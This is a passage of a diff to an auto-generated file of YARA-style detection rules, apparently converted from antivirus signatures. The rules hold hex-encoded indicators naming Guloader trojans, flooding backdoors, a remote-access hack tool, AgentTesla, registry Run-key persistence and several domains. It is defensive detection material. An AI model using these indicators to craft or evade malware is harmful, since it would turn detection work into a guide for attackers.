((#a_54_0 & 1)*18467+(#a_74_1 & 1)*262+(#a_64_2 & 1)*29299+(#a_3a_3 & 1)*19521+(#a_64_4 & 1)*26997+(#a_00_5 & 1)*108+(#a_6b_6 & 1)*24898+(#a_64_7 & 1)*26967) >=4 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*262+(#a_0d_5 & 1)*400) >=4 } -rule _InfrastructureShared_9861{ +rule _InfrastructureShared_10491{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 50 47 43 49 21 4d 54 42 00 01 00 2d 03 2e 74 65 78 74 00 00 00 90 01 02 0d 00 00 10 00 00 00 90 01 01 0d 00 00 04 00 00 00 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_10492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 41 46 21 4d 54 42 00 03 00 1e 01 53 6f 66 74 77 61 72 65 5c 73 72 61 64 64 68 61 73 5c 62 69 68 65 6e 73 69 67 74 65 72 73 01 00 25 01 73 } //21539 - $a_72_1 = {6f 76 61 73 5c 6d 65 73 61 6c 6c 69 61 6e 63 65 72 73 5c 53 65 6b 73 61 61 72 69 6e 67 65 6e 01 00 16 01 62 65 74 72 6e 67 74 65 73 5c 68 6f 63 6b 73 68 69 6e 2e 54 6f 65 00 00 78 91 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e } //28789 - $a_37_2 = {02 00 1d 80 01 64 32 76 30 7a 65 74 67 75 36 68 6f 74 76 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 18 80 01 62 75 69 6c 64 2f 69 6c 2f 76 36 2e } //30561 + $a_72_1 = {6f 76 61 73 5c 6d 65 73 61 6c 6c 69 61 6e 63 65 72 73 5c 53 65 6b 73 61 61 72 69 6e 67 65 6e 01 00 16 01 62 65 74 72 6e 67 74 65 73 5c 68 6f 63 6b 73 68 69 6e 2e 54 6f 65 00 00 78 91 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 58 69 6e 67 43 6c 6f 75 64 44 6f 77 6e 6c 6f 61 64 65 72 00 02 00 1a 01 78 } //28789 condition: - ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28789+(#a_37_2 & 1)*30561) >=5 + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28789) >=5 } -rule _InfrastructureShared_9862{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " - - strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 65 70 64 6f 74 2e 61 77 33 37 00 02 00 1d 80 01 64 32 76 30 7a 65 74 67 75 36 68 6f 74 76 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 18 80 01 62 75 69 6c 64 2f } //16675 - $a_76_1 = {2e 37 35 2e 35 30 2e 30 39 35 2e 35 37 01 00 0d 80 01 5c 50 6f 77 65 72 49 53 4f 2e 63 68 6d 01 00 0e 80 01 75 6e 6b 6e 6f 77 6e 64 6c 6c 2e } //27753 - $a_00_2 = {00 78 91 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 58 69 6e 67 43 6c 6f 75 64 44 6f 77 6e 6c 6f 61 64 65 72 00 02 00 1a 01 78 00 69 00 6e 00 67 00 63 00 6c 00 6f 00 75 00 64 00 2e 00 63 00 6f 00 6d 00 01 00 26 01 5c 00 5c 00 2e 00 5c 00 50 00 68 00 79 00 73 00 69 00 63 00 61 00 6c 00 44 00 } //25712 - $a_00_3 = {76 00 65 00 25 00 64 00 01 00 0e 01 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 01 00 0e 01 57 00 73 00 79 00 73 00 53 00 76 00 63 00 00 00 03 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 46 6c 6f 6f 64 69 6e 67 2e 53 61 6d 70 6c 65 73 00 01 00 08 80 01 73 79 6e 66 6c 6f 6f 64 01 } //114 - condition: - ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*27753+(#a_00_2 & 1)*25712+(#a_00_3 & 1)*114) >=5 - -} -rule _InfrastructureShared_9863{ +rule _InfrastructureShared_10493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -106537,40 +113458,80 @@ rule _InfrastructureShared_9863{ $a_54_0 = {3a 58 69 6e 67 43 6c 6f 75 64 44 6f 77 6e 6c 6f 61 64 65 72 00 02 00 1a 01 78 00 69 00 6e 00 67 00 63 00 6c 00 6f 00 75 00 64 00 2e 00 63 00 6f 00 6d 00 01 00 26 01 5c 00 5c 00 2e 00 5c 00 50 00 68 00 79 00 73 00 69 00 63 00 61 00 6c 00 44 00 72 00 } //18467 $a_00_1 = {65 00 25 00 64 00 01 00 0e 01 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 01 00 0e 01 57 00 73 00 79 00 73 00 53 00 76 00 63 00 00 00 03 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 46 6c 6f 6f 64 69 6e 67 2e 53 61 6d 70 6c 65 73 00 01 00 08 80 01 73 79 6e 66 6c 6f 6f 64 01 00 09 80 01 68 74 74 70 66 6c 6f 6f 64 01 00 } //105 $a_75_2 = {70 } //-32760 p - $a_6f_3 = {01 00 09 80 01 69 63 6d 70 66 6c 6f 6f 64 01 00 2d 80 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 53 31 32 33 21 4d 54 42 00 01 } //27750 + $a_6f_3 = {01 00 09 80 01 69 63 6d 70 66 6c 6f 6f 64 01 00 2d 80 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 47 30 31 21 } //27750 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_75_2 & 1)*-32760+(#a_6f_3 & 1)*27750) >=5 } -rule _InfrastructureShared_9864{ +rule _InfrastructureShared_10494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 46 6c 6f 6f 64 69 6e 67 2e 53 61 6d 70 6c 65 73 00 01 00 08 80 01 73 79 6e 66 6c 6f 6f 64 01 00 09 80 01 68 74 74 70 66 6c 6f 6f 64 01 00 08 80 01 75 64 70 66 6c 6f 6f 64 01 00 09 80 01 69 63 6d 70 66 6c 6f 6f 64 01 00 } //18467 $a_53_1 = {46 } //-32723 F - $a_52_2 = {5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c } //22356 - $a_65_3 = {2e 4b 57 51 53 31 32 33 21 4d 54 42 00 01 00 12 81 01 66 79 72 65 73 65 64 6c 65 72 20 70 65 72 73 69 73 74 01 00 0b 81 01 6f 70 70 65 62 72 20 6c 66 61 64 01 00 06 81 01 6a 65 72 71 75 65 01 00 19 81 01 66 6c 79 74 74 65 66 6f 72 72 65 74 6e 69 6e 67 65 72 6e 65 20 6f 62 6f 6c 01 00 12 81 01 63 61 } //24943 - $a_65_4 = {65 64 76 69 6c 6c 69 67 68 65 64 00 00 78 91 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 67 65 6e 74 2e 41 21 4d 54 42 00 01 00 19 81 01 41 70 70 6c 69 63 61 74 69 6f 6e 48 6f 73 74 50 72 6f 63 65 73 73 69 6e 67 01 00 0a 81 01 43 } //8297 + $a_52_2 = {5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 } //22356 + $a_2f_3 = {75 4c 6f 61 64 65 72 2e 53 41 47 30 31 21 4d 54 42 00 01 00 14 81 01 74 68 65 67 6e 68 6f 6f 64 20 73 6b 61 6d 62 75 64 74 65 20 01 00 0c 81 01 74 61 } //13166 + $a_69_4 = {74 65 72 6e 65 01 00 0e 81 01 75 6c 74 72 61 65 78 63 6c 75 73 69 76 65 01 00 12 81 01 64 69 61 67 6f 6d 65 74 65 72 20 73 6c 73 65 6e 64 65 01 00 09 81 01 6a 75 6c 61 63 65 6f 75 73 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 55 30 31 21 4d 54 42 00 01 00 12 } //29538 condition: - ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*-32723+(#a_52_2 & 1)*22356+(#a_65_3 & 1)*24943+(#a_65_4 & 1)*8297) >=5 + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*-32723+(#a_52_2 & 1)*22356+(#a_2f_3 & 1)*13166+(#a_69_4 & 1)*29538) >=5 } -rule _InfrastructureShared_9865{ +rule _InfrastructureShared_10495{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 47 30 31 21 4d 54 42 00 01 00 14 81 01 74 68 65 67 6e 68 6f 6f 64 20 73 6b 61 6d 62 75 64 74 65 20 01 00 0c 81 01 74 61 62 73 6c 69 73 74 65 72 6e 65 01 00 0e 81 01 75 6c 74 } //18467 + $a_78_1 = {6c 75 73 69 76 65 01 00 12 81 01 64 69 61 67 6f 6d 65 74 65 72 20 73 6c 73 65 6e 64 65 01 00 09 81 01 6a 75 6c 61 63 65 6f 75 73 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 55 30 31 21 4d 54 42 00 01 00 12 81 01 70 61 73 74 20 73 61 78 6f } //24946 + $a_20_2 = {61 79 61 72 01 00 0c 81 01 61 6e 68 6e 67 65 72 73 2e 65 78 65 01 00 0d 81 01 6c 65 6d 75 72 6c 69 6b 65 2e 6b 69 6e 01 00 17 81 01 66 6f 72 66 6f 72 73 74 72 6b 6e 69 6e 67 65 72 6e 65 73 2e 69 6e 69 01 00 0e 81 01 6d 61 72 67 61 72 6f 64 69 64 2e 73 79 73 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //28518 + $a_6c_3 = {61 64 65 72 2e 4b 57 51 53 31 32 33 21 4d 54 42 00 01 00 12 81 01 66 79 72 65 73 65 64 6c 65 72 20 70 65 72 73 69 73 74 01 00 0b 81 01 6f 70 70 65 62 72 20 6c 66 61 64 01 00 06 81 01 6a 65 72 71 75 65 01 00 19 81 01 66 6c 79 74 74 65 66 6f 72 72 65 74 6e 69 6e 67 65 72 6e 65 20 6f 62 6f 6c 01 00 12 81 01 63 61 69 20 62 65 72 65 64 76 69 6c 6c 69 67 } //18223 + $a_00_4 = {00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 46 31 21 4d 54 42 00 01 00 13 81 01 73 6b 6f 76 62 72 75 67 73 73 74 75 64 65 72 65 6e 64 65 01 00 11 81 01 52 65 67 75 6c 61 72 69 74 65 74 65 6e 73 31 38 36 01 00 10 81 01 64 72 69 66 74 73 6d } //25960 + condition: + ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*24946+(#a_20_2 & 1)*28518+(#a_6c_3 & 1)*18223+(#a_00_4 & 1)*25960) >=5 + +} +rule _InfrastructureShared_10496{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 55 30 31 21 4d 54 42 00 01 00 12 81 01 70 61 73 74 20 73 61 78 6f 66 6f 6e 20 6e 61 79 61 72 01 00 0c 81 01 61 6e 68 6e 67 65 72 73 2e 65 78 65 01 00 0d 81 01 6c 65 6d 75 72 6c 69 6b 65 2e 6b 69 } //18467 + $a_72_2 = {6f 72 73 74 72 6b 6e 69 6e 67 65 72 6e 65 73 2e 69 6e 69 01 00 0e 81 01 6d 61 72 67 61 72 6f 64 69 64 2e 73 79 73 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 53 31 32 33 21 4d 54 42 00 01 00 12 81 01 66 79 72 65 73 65 64 6c 65 72 20 70 65 72 73 69 73 74 01 00 0b 81 } //26113 + $a_70_3 = {62 72 20 6c 66 61 64 01 00 06 81 01 6a 65 72 71 75 65 01 00 19 81 01 66 6c 79 74 74 65 66 6f 72 72 65 74 6e 69 6e 67 65 72 6e 65 20 6f 62 6f 6c 01 00 12 81 01 63 61 69 20 62 65 72 65 64 76 69 6c 6c 69 67 68 65 64 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 46 31 21 4d 54 } //28417 + $a_00_4 = {13 } //66 + condition: + ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*26113+(#a_70_3 & 1)*28417+(#a_00_4 & 1)*66) >=5 + +} +rule _InfrastructureShared_10497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 53 31 32 33 21 4d 54 42 00 01 00 12 81 01 66 79 72 65 73 65 64 6c 65 72 20 70 65 72 73 69 73 74 01 00 0b 81 01 6f 70 70 65 62 72 20 6c 66 61 64 01 00 06 81 01 6a 65 72 71 75 65 01 00 19 81 01 } //18467 - $a_74_1 = {65 66 6f 72 72 65 74 6e 69 6e 67 65 72 6e 65 20 6f 62 6f 6c 01 00 12 81 01 63 61 69 20 62 65 72 65 64 76 69 6c 6c 69 67 68 65 64 00 00 78 91 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 67 65 6e 74 2e 41 21 4d 54 42 00 01 00 19 81 01 41 70 70 6c 69 63 61 74 69 6f 6e 48 6f 73 74 50 72 6f 63 65 73 73 } //27750 - $a_01_2 = {00 0a 81 01 43 6f 6e 6e 65 63 74 65 64 3d 01 00 09 81 01 2c 75 73 65 6e 61 6d 65 3d 01 00 06 81 01 76 70 6e 2e 73 6e 01 00 17 81 01 2f 63 6c 69 65 6e 74 73 2f 65 76 65 6e 74 3f 6d 65 73 73 61 67 65 3d 00 00 78 91 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 } //28265 - $a_70_3 = {79 2e 6e 68 32 00 01 00 0c 80 01 53 63 72 65 65 6e 5f 4f 66 66 65 72 01 00 13 80 01 77 69 6e 5f 72 6f 73 74 70 61 79 2e 7a 69 70 73 6f 66 74 01 00 0b 80 01 52 4f 53 54 50 41 59 20 4c 54 44 01 00 0a 80 01 42 72 69 67 68 74 44 61 74 61 01 00 09 80 01 67 65 74 5f 4f 66 66 65 72 01 00 0b 80 01 5a 69 70 53 6f 66 74 2e 70 64 62 00 00 78 91 00 00 06 00 } //29551 - $a_00_4 = {21 23 48 53 54 52 } //6 !#HSTR + $a_74_1 = {65 66 6f 72 72 65 74 6e 69 6e 67 65 72 6e 65 20 6f 62 6f 6c 01 00 12 81 01 63 61 69 20 62 65 72 65 64 76 69 6c 6c 69 67 68 65 64 00 00 78 91 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 46 31 21 4d 54 42 00 01 00 13 81 01 73 6b 6f 76 62 72 75 67 73 73 74 75 64 65 72 65 6e 64 65 01 00 11 81 01 52 65 67 75 6c 61 } //27750 + $a_65_2 = {65 6e 73 31 38 36 01 00 10 81 01 64 72 69 66 74 73 6d 69 64 6c 65 74 2e 74 78 74 01 00 13 81 01 66 72 61 6b 72 73 65 6c 73 76 65 6a 65 6e 65 2e 69 6e 69 01 00 0a 81 01 62 61 62 69 72 75 73 73 61 73 00 00 78 91 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 67 65 6e 74 2e 41 21 4d 54 42 } //26994 + $a_70_4 = {69 63 61 74 69 6f 6e 48 6f 73 74 50 72 6f 63 65 73 73 69 6e 67 01 00 0a 81 01 43 6f 6e 6e 65 63 74 65 64 3d 01 00 09 81 01 2c 75 73 65 6e 61 6d 65 3d 01 00 06 81 01 76 70 6e 2e 73 6e 01 00 17 81 01 2f 63 6c 69 65 6e 74 73 2f 65 76 65 6e 74 3f 6d 65 73 73 61 67 65 3d 00 00 78 91 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 } //16641 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27750+(#a_01_2 & 1)*28265+(#a_70_3 & 1)*29551+(#a_00_4 & 1)*6) >=5 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27750+(#a_65_2 & 1)*26994+(#a_70_4 & 1)*16641) >=5 } -rule _InfrastructureShared_9866{ +rule _InfrastructureShared_10498{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 46 31 21 4d 54 42 00 01 00 13 81 01 73 6b 6f 76 62 72 75 67 73 73 74 75 64 65 72 65 6e 64 65 01 00 11 81 01 52 65 67 75 6c 61 72 69 74 65 74 65 6e 73 31 38 36 01 00 10 81 01 64 72 69 66 74 73 6d } //18467 + $a_65_1 = {2e 74 78 74 01 00 13 81 01 66 72 61 6b 72 73 65 6c 73 76 65 6a 65 6e 65 2e 69 6e 69 01 00 0a 81 01 62 61 62 69 72 75 73 73 61 73 00 00 78 91 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 67 65 6e 74 2e 41 21 4d 54 42 00 01 00 19 81 01 41 70 70 6c 69 63 61 74 69 } //25705 + $a_6f_2 = {74 50 72 6f 63 65 73 73 69 6e 67 01 00 0a 81 01 43 6f 6e 6e 65 63 74 65 64 3d 01 00 09 81 01 2c 75 73 65 6e 61 6d 65 3d 01 00 06 81 01 76 70 6e 2e 73 6e 01 00 17 81 01 2f 63 6c 69 65 6e 74 73 2f 65 76 65 6e 74 3f 6d } //28271 + $a_61_3 = {65 3d 00 00 78 91 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 6e 68 32 00 01 00 0c 80 01 53 63 72 65 65 6e 5f 4f 66 66 65 72 01 00 13 80 01 77 69 6e 5f 72 6f 73 74 70 61 79 2e 7a 69 70 73 6f 66 74 01 00 0b 80 01 52 4f 53 54 50 41 59 20 4c 54 44 01 00 0a 80 01 42 72 69 67 } //29541 + $a_61_4 = {61 01 00 09 80 01 67 65 74 5f 4f 66 66 65 72 01 00 0b 80 01 5a 69 70 53 6f 66 74 2e 70 64 62 00 00 78 91 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 } //29800 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25705+(#a_6f_2 & 1)*28271+(#a_61_3 & 1)*29541+(#a_61_4 & 1)*29800) >=5 + +} +rule _InfrastructureShared_10499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -106584,7 +113545,7 @@ rule _InfrastructureShared_9866{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28271+(#a_65_2 & 1)*29283+(#a_23_3 & 1)*6+(#a_42_4 & 1)*19745) >=5 } -rule _InfrastructureShared_9867{ +rule _InfrastructureShared_10500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -106596,7 +113557,7 @@ rule _InfrastructureShared_9867{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*21327+(#a_65_2 & 1)*29806) >=6 } -rule _InfrastructureShared_9868{ +rule _InfrastructureShared_10501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -106611,7 +113572,7 @@ rule _InfrastructureShared_9868{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*18261+(#a_3a_2 & 1)*28527+(#a_43_3 & 1)*-32758+(#a_2e_4 & 1)*30066+(#a_00_5 & 1)*26473) >=6 } -rule _InfrastructureShared_9869{ +rule _InfrastructureShared_10502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -106626,7 +113587,7 @@ rule _InfrastructureShared_9869{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26991+(#a_64_2 & 1)*385+(#a_54_3 & 1)*19529+(#a_01_4 & 1)*1792+(#a_04_5 & 1)*-28561) >=6 } -rule _InfrastructureShared_9870{ +rule _InfrastructureShared_10503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -106635,13 +113596,13 @@ rule _InfrastructureShared_9870{ $a_61_1 = {75 72 73 74 72 69 64 69 67 01 00 0b 81 01 73 76 69 72 65 67 61 73 74 65 6e 01 00 0d 81 01 62 61 67 61 74 65 6c 6c 65 72 6e 65 73 00 00 78 91 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4a 4b 4f 21 4d 54 42 00 01 00 0b 81 01 69 6e 74 47 6f 6c 66 65 72 49 44 01 00 0c 81 01 } //385 $a_6f_2 = {65 4d 65 6d 62 65 72 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 08 81 01 44 65 6c 65 74 65 4d 43 01 00 0e 81 01 43 61 65 73 61 72 44 65 63 72 65 61 73 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 00 78 91 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //28233 $a_45_3 = {21 4d 54 42 00 0a 00 48 02 11 09 18 06 72 90 01 03 70 6f 90 01 04 a2 11 09 19 17 8c 90 01 04 a2 11 09 13 07 11 06 13 08 28 90 01 04 11 04 6f 90 01 04 11 08 6f 90 01 04 72 90 01 03 70 20 00 01 00 00 14 14 11 07 74 90 01 04 6f 90 01 04 26 90 00 02 00 11 80 01 53 68 } //20270 - $a_6f_4 = {6e 2e 66 72 6d 63 6c 61 73 73 00 00 78 91 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 4e 21 4d 54 42 00 0a 00 31 02 25 16 03 } //29813 - $a_14_5 = {17 8d 90 01 04 25 16 17 9c 25 13 04 28 } //9634 + $a_6f_4 = {6e 2e 66 72 6d 63 6c 61 73 73 00 00 78 91 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 44 59 21 4d 54 42 00 0a 00 3e 03 0a 06 18 6f 90 01 01 00 00 0a } //29813 + $a_01_5 = {01 00 00 0a 0b 73 90 01 01 00 00 0a 0c 08 07 17 73 90 01 01 00 00 0a 0d 09 02 16 02 8e 69 6f 90 01 01 00 00 0a 09 6f 90 01 01 00 00 0a 08 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 91 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 4e 21 4d 54 42 00 0a 00 31 02 25 16 } //28422 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*385+(#a_6f_2 & 1)*28233+(#a_45_3 & 1)*20270+(#a_6f_4 & 1)*29813+(#a_14_5 & 1)*9634) >=6 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*385+(#a_6f_2 & 1)*28233+(#a_45_3 & 1)*20270+(#a_6f_4 & 1)*29813+(#a_01_5 & 1)*28422) >=6 } -rule _InfrastructureShared_9871{ +rule _InfrastructureShared_10504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -106650,25 +113611,36 @@ rule _InfrastructureShared_9871{ $a_01_1 = {00 0e 81 01 43 61 65 73 61 72 44 65 63 72 65 61 73 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 00 78 91 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a } //19813 $a_4d_2 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 58 21 4d 54 42 00 0a 00 48 02 11 09 18 06 72 90 01 03 70 6f 90 01 04 a2 11 09 19 17 8c 90 01 04 a2 11 09 13 07 11 06 13 08 } //28257 $a_04_3 = {11 } //-28632 - $a_01_4 = {04 11 08 6f 90 01 04 72 90 01 03 70 20 00 01 00 00 14 14 11 07 74 90 01 04 6f 90 01 04 26 90 00 02 00 11 80 01 53 68 75 74 44 6f 77 6e 2e 66 72 6d 63 6c 61 73 73 00 00 78 91 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 4e 21 4d 54 42 00 0a 00 31 02 25 16 03 a2 25 0d 14 14 17 8d 90 01 04 25 16 17 9c 25 13 04 28 90 01 04 11 04 16 91 2d 02 2b 0a 09 16 9a } //28420 - $a_04_5 = {10 } //-28632 - $a_01_6 = {04 0a 06 90 00 01 00 0f 80 01 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 01 00 08 80 01 47 65 74 50 69 78 65 6c 01 00 07 80 01 52 65 76 65 72 73 65 00 00 78 91 00 00 0e 00 0e 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 49 59 35 36 32 21 4d 54 42 00 0a 00 1b 03 06 07 02 07 18 5a 18 90 01 05 1f 10 90 01 05 9c 07 17 58 0b 07 06 8e 69 32 90 00 01 00 0c 81 01 44 6f 77 6e } //29697 + $a_01_4 = {04 11 08 6f 90 01 04 72 90 01 03 70 20 00 01 00 00 14 14 11 07 74 90 01 04 6f 90 01 04 26 90 00 02 00 11 80 01 53 68 75 74 44 6f 77 6e 2e 66 72 6d 63 6c 61 73 73 00 00 78 91 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 44 59 21 4d 54 42 00 0a 00 3e 03 0a 06 18 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 0b 73 90 01 01 00 00 0a 0c 08 07 17 73 90 01 01 00 00 0a 0d 09 02 16 02 } //28420 + $a_90_5 = {01 00 00 0a 09 6f 90 01 01 00 00 0a 08 90 00 01 00 10 01 46 72 